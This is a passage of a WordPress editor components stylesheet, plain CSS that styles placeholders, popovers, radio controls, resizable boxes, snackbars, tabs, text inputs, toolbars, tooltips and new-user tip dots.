.components-placeholder__fieldset form p,.components-placeholder__fieldset p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{
  flex-direction:column;
}

.components-placeholder__input[type=url]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  flex:1 1 auto;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin:0 0 0 8px;
  padding:6px 8px;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-placeholder__input[type=url]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-placeholder__input[type=url]{
    font-size:13px;
    line-height:normal;
  }
}
.components-placeholder__input[type=url]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-placeholder__input[type=url]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-placeholder__input[type=url]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.components-placeholder__instructions{
  margin-bottom:1em;
}

.components-placeholder__error{
  margin-top:1em;
  width:100%;
}

.components-placeholder__fieldset .components-button{
  margin-bottom:12px;
  margin-left:12px;
}
.components-placeholder__fieldset .components-button:last-child{
  margin-bottom:0;
  margin-left:0;
}

.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{
  margin-left:10px;
  margin-right:10px;
}
.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{
  margin-left:0;
}

.components-placeholder.is-large .components-placeholder__label{
  font-size:18pt;
  font-weight:400;
}
.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{
  display:none;
}
.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{
  flex-direction:column;
}
.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{
  margin-left:auto;
}
.components-placeholder.is-small .components-button{
  padding:0 8px 2px;
}
.components-placeholder.has-illustration{
  -webkit-backdrop-filter:blur(100px);
          backdrop-filter:blur(100px);
  backface-visibility:hidden;
  background-color:initial;
  border-radius:2px;
  box-shadow:none;
  color:inherit;
  display:flex;
  overflow:auto;
}
.is-dark-theme .components-placeholder.has-illustration{
  background-color:#0000001a;
}
.components-placeholder.has-illustration .components-placeholder__fieldset{
  margin-left:0;
  margin-right:0;
  width:auto;
}
.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
  opacity:0;
  pointer-events:none;
  transition:opacity .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.components-placeholder.has-illustration:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.components-placeholder__preview{
  display:flex;
  justify-content:center;
}

.components-placeholder__illustration{
  box-sizing:initial;
  height:100%;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:100%;
  stroke:currentColor;
  opacity:.25;
}

.components-popover{
  box-sizing:border-box;
  will-change:transform;
  z-index:1000000;
}
.components-popover *,.components-popover :after,.components-popover :before{
  box-sizing:inherit;
}
.components-popover.is-expanded{
  bottom:0;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:1000000 !important;
}

.components-popover__content{
  background:#fff;
  border-radius:2px;
  box-shadow:0 0 0 1px #ccc,0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  box-sizing:border-box;
  width:min-content;
}
.is-alternate .components-popover__content{
  box-shadow:0 0 0 1px #1e1e1e;
}
.is-unstyled .components-popover__content{
  background:none;
  border-radius:0;
  box-shadow:none;
}
.components-popover.is-expanded .components-popover__content{
  box-shadow:0 -1px 0 0 #ccc;
  height:calc(100% - 48px);
  overflow-y:visible;
  position:static;
  width:auto;
}
.components-popover.is-expanded.is-alternate .components-popover__content{
  box-shadow:0 -1px 0 #1e1e1e;
}

.components-popover__header{
  align-items:center;
  background:#fff;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding:0 16px 0 8px;
}

.components-popover__header-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.components-popover__close.components-button{
  z-index:5;
}

.components-popover__arrow{
  display:flex;
  height:14px;
  pointer-events:none;
  position:absolute;
  width:14px;
}
.components-popover__arrow:before{
  background-color:#fff;
  content:"";
  height:2px;
  left:1px;
  position:absolute;
  right:1px;
  top:-1px;
}
.components-popover__arrow.is-top{
  bottom:-14px !important;
  transform:rotate(0);
}
.components-popover__arrow.is-right{
  left:-14px !important;
  transform:rotate(90deg);
}
.components-popover__arrow.is-bottom{
  top:-14px !important;
  transform:rotate(180deg);
}
.components-popover__arrow.is-left{
  right:-14px !important;
  transform:rotate(-90deg);
}

.components-popover__triangle{
  display:block;
  flex:1;
}

.components-popover__triangle-bg{
  fill:#fff;
}

.components-popover__triangle-border{
  fill:#0000;
  stroke-width:1px;
  stroke:#ccc;
}
.is-alternate .components-popover__triangle-border{
  stroke:#1e1e1e;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  inset:0;
  position:fixed;
  z-index:1000000;
}

.components-radio-control__option{
  align-items:center;
  display:flex;
}

.components-radio-control__input[type=radio]{
  -webkit-appearance:none;
          appearance:none;
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  cursor:pointer;
  display:inline-flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin:0 0 0 6px;
  padding:0;
  transition:box-shadow .1s linear;
  transition:none;
  width:24px;
}
@media (prefers-reduced-motion:reduce){
  .components-radio-control__input[type=radio]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.components-radio-control__input[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-radio-control__input[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    height:20px;
    width:20px;
  }
}
.components-radio-control__input[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:8px;
  margin:0;
  transform:translate(-7px, 7px);
  width:8px;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]:checked:before{
    transform:translate(-5px, 5px);
  }
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px var(--wp-components-color-background, #fff), 0 0 0 4px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked:before{
  border-radius:50%;
  content:"";
}

.components-radio-control__label{
  cursor:pointer;
}

.components-resizable-box__handle{
  display:none;
  height:23px;
  width:23px;
  z-index:2;
}
.components-resizable-box__container.has-show-handle .components-resizable-box__handle{
  display:block;
}

.components-resizable-box__container>img{
  width:inherit;
}

.components-resizable-box__handle:after{
  background:#fff;
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  content:"";
  cursor:inherit;
  display:block;
  height:15px;
  left:calc(50% - 8px);
  outline:2px solid #0000;
  position:absolute;
  top:calc(50% - 8px);
  width:15px;
}

.components-resizable-box__side-handle:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:2px;
  content:"";
  cursor:inherit;
  display:block;
  height:3px;
  left:calc(50% - 1px);
  opacity:0;
  position:absolute;
  top:calc(50% - 1px);
  transition:transform .1s ease-in;
  width:3px;
  will-change:transform;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-resizable-box__corner-handle,.components-resizable-box__side-handle{
  z-index:2;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{
  border-left:0;
  border-right:0;
  right:0;
  width:100%;
}

.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{
  border-bottom:0;
  border-top:0;
  height:100%;
  top:0;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
  animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
  animation:components-resizable-box__left-right-animation .1s ease-out 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media not all and (min-resolution:0.001dpcm){
  @supports (-webkit-appearance:none){

    .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
      animation:none;
    }
  }
}
@keyframes components-resizable-box__top-bottom-animation{
  0%{
    opacity:0;
    transform:scaleX(0);
  }
  to{
    opacity:1;
    transform:scaleX(1);
  }
}
@keyframes components-resizable-box__left-right-animation{
  0%{
    opacity:0;
    transform:scaleY(0);
  }
  to{
    opacity:1;
    transform:scaleY(1);
  }
}
.components-resizable-box__handle-right{
  right:-11.5px;
}

.components-resizable-box__handle-left{
  left:-11.5px;
}

.components-resizable-box__handle-top{
  top:-11.5px;
}

.components-resizable-box__handle-bottom{
  bottom:-11.5px;
}
.components-responsive-wrapper{
  align-items:center;
  display:flex;
  justify-content:center;
  max-width:100%;
  position:relative;
}

.components-responsive-wrapper__content{
  display:block;
  max-width:100%;
  width:100%;
}

.components-sandbox{
  overflow:hidden;
}

iframe.components-sandbox{
  width:100%;
}

body.lockscroll,html.lockscroll{
  overflow:hidden;
}

.components-select-control__input{
  outline:0;
  -webkit-tap-highlight-color:rgba(0, 0, 0, 0) !important;
}

@media (max-width:782px){
  .components-base-control .components-base-control__field .components-select-control__input{
    font-size:16px;
  }
}
.components-snackbar{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#000000d9;
  border-radius:2px;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  box-sizing:border-box;
  color:#fff;
  cursor:pointer;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  max-width:600px;
  padding:12px 20px;
  pointer-events:auto;
  width:100%;
}
@media (min-width:600px){
  .components-snackbar{
    width:-moz-fit-content;
    width:fit-content;
  }
}
.components-snackbar:focus{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-snackbar.components-snackbar-explicit-dismiss{
  cursor:default;
}
.components-snackbar .components-snackbar__content-with-icon{
  padding-right:24px;
  position:relative;
}
.components-snackbar .components-snackbar__icon{
  position:absolute;
  right:-8px;
  top:-2.9px;
}
.components-snackbar .components-snackbar__dismiss-button{
  cursor:pointer;
  margin-right:24px;
}

.components-snackbar__action.components-button{
  color:#fff;
  flex-shrink:0;
  height:auto;
  line-height:1.4;
  margin-right:32px;
  padding:0;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){
  background-color:initial;
  text-decoration:underline;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{
  box-shadow:none;
  color:#fff;
  outline:1px dotted #fff;
}
.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  color:#fff;
  text-decoration:none;
}

.components-snackbar__content{
  align-items:baseline;
  display:flex;
  justify-content:space-between;
  line-height:1.4;
}

.components-snackbar-list{
  box-sizing:border-box;
  pointer-events:none;
  position:absolute;
  width:100%;
  z-index:100000;
}

.components-snackbar-list__notice-container{
  padding-top:8px;
  position:relative;
}

.components-tab-panel__tabs{
  align-items:stretch;
  display:flex;
  flex-direction:row;
}
.components-tab-panel__tabs[aria-orientation=vertical]{
  flex-direction:column;
}

.components-tab-panel__tabs-item{
  background:#0000;
  border:none;
  border-radius:0;
  box-shadow:none;
  cursor:pointer;
  font-weight:500;
  height:48px;
  margin-right:0;
  padding:3px 16px;
  position:relative;
}
.components-tab-panel__tabs-item:focus:not(:disabled){
  box-shadow:none;
  outline:none;
  position:relative;
}
.components-tab-panel__tabs-item:after{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:0;
  bottom:0;
  content:"";
  height:calc(var(--wp-admin-border-width-focus)*0);
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  transition:all .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-tab-panel__tabs-item:after{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-tab-panel__tabs-item.is-active:after{
  height:calc(var(--wp-admin-border-width-focus)*1);
  outline:2px solid #0000;
  outline-offset:-1px;
}
.components-tab-panel__tabs-item:before{
  border-radius:2px;
  bottom:12px;
  box-shadow:0 0 0 0 #0000;
  content:"";
  left:12px;
  pointer-events:none;
  position:absolute;
  right:12px;
  top:12px;
  transition:all .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-tab-panel__tabs-item:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-tab-panel__tabs-item:focus-visible:before{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}

.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:32px;
  line-height:normal;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{
    font-size:13px;
    line-height:normal;
  }
}
.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{
  height:40px;
}

.components-tip{
  color:#757575;
  display:flex;
}
.components-tip svg{
  align-self:center;
  fill:#f0b849;
  flex-shrink:0;
  margin-left:16px;
}
.components-tip p{
  margin:0;
}

.components-accessible-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:inline-flex;
  flex-shrink:0;
}
.components-accessible-toolbar>.components-toolbar-group:last-child{
  border-left:none;
}
.components-accessible-toolbar.is-unstyled{
  border:none;
}
.components-accessible-toolbar.is-unstyled>.components-toolbar-group{
  border-left:none;
}

.components-accessible-toolbar .components-button,.components-toolbar .components-button{
  height:48px;
  padding-left:16px;
  padding-right:16px;
  position:relative;
  z-index:1;
}
.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
  animation:components-button__appear-animation .1s ease;
  animation-fill-mode:forwards;
  border-radius:2px;
  content:"";
  display:block;
  height:32px;
  left:8px;
  position:absolute;
  right:8px;
  z-index:-1;
}
@media (prefers-reduced-motion:reduce){
  .components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{
  margin-left:auto;
  margin-right:auto;
  position:relative;
}
.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{
  background:#0000;
}
.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{
  background:#1e1e1e;
}
.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}
.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{
  font-weight:500;
}
.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{
  display:inline-block;
  padding-left:0;
  padding-right:0;
  position:relative;
}

@keyframes components-button__appear-animation{
  0%{
    transform:scaleY(0);
  }
  to{
    transform:scaleY(1);
  }
}
.components-toolbar__control.components-button{
  position:relative;
}
.components-toolbar__control.components-button[data-subscript] svg{
  padding:5px 0 5px 10px;
}
.components-toolbar__control.components-button[data-subscript]:after{
  bottom:10px;
  content:attr(data-subscript);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  left:8px;
  line-height:12px;
  position:absolute;
}
.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{
  color:#fff;
}

.components-toolbar-group{
  background-color:#fff;
  border-left:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  line-height:0;
  min-height:48px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-toolbar-group.components-toolbar-group{
  border-width:0;
  margin:0;
}
.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{
  min-width:36px;
  padding-left:6px;
  padding-right:6px;
}
.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{
  min-width:24px;
}
.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{
  left:2px;
  right:2px;
}

.components-toolbar{
  background-color:#fff;
  border:1px solid #1e1e1e;
  display:inline-flex;
  flex-shrink:0;
  flex-wrap:wrap;
  margin:0;
  min-height:48px;
}
.components-toolbar .components-toolbar.components-toolbar{
  border-width:0;
  margin:0;
}

div.components-toolbar>div{
  display:block;
  margin:0;
}
@supports (position:sticky){
  div.components-toolbar>div{
    display:flex;
  }
}
div.components-toolbar>div+div.has-left-divider{
  margin-right:6px;
  overflow:visible;
  position:relative;
}
div.components-toolbar>div+div.has-left-divider:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:inline-block;
  height:20px;
  position:absolute;
  right:-3px;
  top:8px;
  width:1px;
}

.components-tooltip{
  background:#000;
  border-radius:2px;
  color:#f0f0f0;
  font-size:12px;
  line-height:1.4;
  padding:4px 8px;
  text-align:center;
  z-index:1000002;
}

.components-tooltip__shortcut{
  margin-right:8px;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.nux-dot-tip:after,.nux-dot-tip:before{
  border-radius:100%;
  content:" ";
  pointer-events:none;
  position:absolute;
}
.nux-dot-tip:before{
  animation:nux-pulse 1.6s cubic-bezier(.17, .67, .92, .62) infinite;
  background:#00739ce6;
  height:24px;
  left:-12px;
  opacity:.9;
  top:-12px;
  transform:scale(.3333333333);
  width:24px;
}
.nux-dot-tip:after{
  background:#00739c;
  height:8px;
  left:-4px;
  top:-4px;
  width:8px;
}
@keyframes nux-pulse{
  to{
    background:#00739c00;
    transform:scale(1);
  }
}
.nux-dot-tip .components-popover__content{
  padding:20px 18px;
  width:350px;
}
@media (min-width:600px){
  .nux-dot-tip .components-popover__content{
    width:450px;
  }
}
.nux-dot-tip .components-popover__content .nux-dot-tip__disable{
  position:absolute;
  right:0;
  top:0;
}
.nux-dot-tip[data-y-axis=top]{
  margin-top:-4px;
}
.nux-dot-tip[data-y-axis=bottom]{
  margin-top:4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{
  margin-left:-4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{
  margin-left:4px;
}
.nux-dot-tip[data-y-axis=top] .components-popover__content{
  margin-bottom:20px;
}
.nux-dot-tip[data-y-axis=bottom] .components-popover__content{
  margin-top:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{
  margin-right:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{
  margin-left:20px;
}
.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{
  z-index:1000001;
}
@media (max-width:600px){
  .nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{
    align-self:end;
    left:5px;
    margin:20px 0 0;
    max-width:none !important;
    position:fixed;
    right:5px;
    width:auto;
  }
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:0;
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:0;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:-12px;
}
